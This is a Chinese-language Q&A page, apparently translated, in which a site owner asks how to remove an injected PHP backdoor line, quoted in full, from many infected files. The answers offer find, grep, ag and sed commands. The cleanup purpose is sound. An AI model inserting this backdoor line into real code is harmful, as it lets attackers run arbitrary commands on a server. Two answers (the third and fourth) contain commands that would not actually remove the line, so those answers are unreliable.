Linux 命令一次查找并删除多个文件中的文本

Linux 命令一次查找并删除多个文件中的文本

我的网站被病毒感染了。该病毒在我网站的几个文件中添加了这一行。我的想法是使用终端中的唯一命令删除这行文本。

假设我有文件夹“my-folder”,里面有我的文件:“file-1.php”、“file-2.php”等。

并且,假设有多个文件被感染。

有没有命令可以在多个文件中查找并删除这行代码立刻

要删除的文本: extract($_REQUEST) && @assert(stripslashes($accept)) && exit;

我发现了这个,但它只适用于单个文件:

$ sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' my-file.php

我可以这样做吗?

答案1

  1. 您可以结合sed使用find以使其递归。像这样的东西:

    find . -type f -name "*php" -exec sed -i.bak 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' {} \+
    

    请注意,它将遍历您当前的目录树并将 sed 应用于每个现有的“*php”文件。它还将为每个更改的文件创建 .bak 备份文件(以便您可以稍后恢复以防万一)。如果不需要备份,-i.bak只需替换为-i.否则,您可以稍后使用诸如find . -name "*php.bak" -delete.

  2. 此步骤不会帮助您立即修复所有问题,但它肯定会在将来节省您的时间:将包含脚本的目录保存在下面git(理想情况下它应该是一个完整的 CI/CD 解决方案,但您可以从 git 开始) ),这样您就可以轻松回滚/前进应用于文件的更改。

答案2

搜索包含恶意字符串的文件,并使用以下命令编辑它们sed

ag -lF --php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'

我常常依靠ag仅搜索php带有该标志的文件--php。如果您愿意,您可以通过以下方式完成相同的任务grep -r -i --include \*.php

grep -rilF --include \*.php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'

答案3

根据您的命令,我建议您使用“for循环”来执行此操作:

for i in file-1.php file-2.php
        do sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
done

您也可以添加任何您想要的文件“for i in file-1.php file-2.php file-n.php

答案4

您可以使用以下方法删除文件中包含特定模式的行

您可以在 for 循环中提及文件

for i in file1 file2
do
sed -i '/Text to remove: extract($_REQUEST) && @assert(stripslashes($accept)) && exit/d' $i
done

相关内容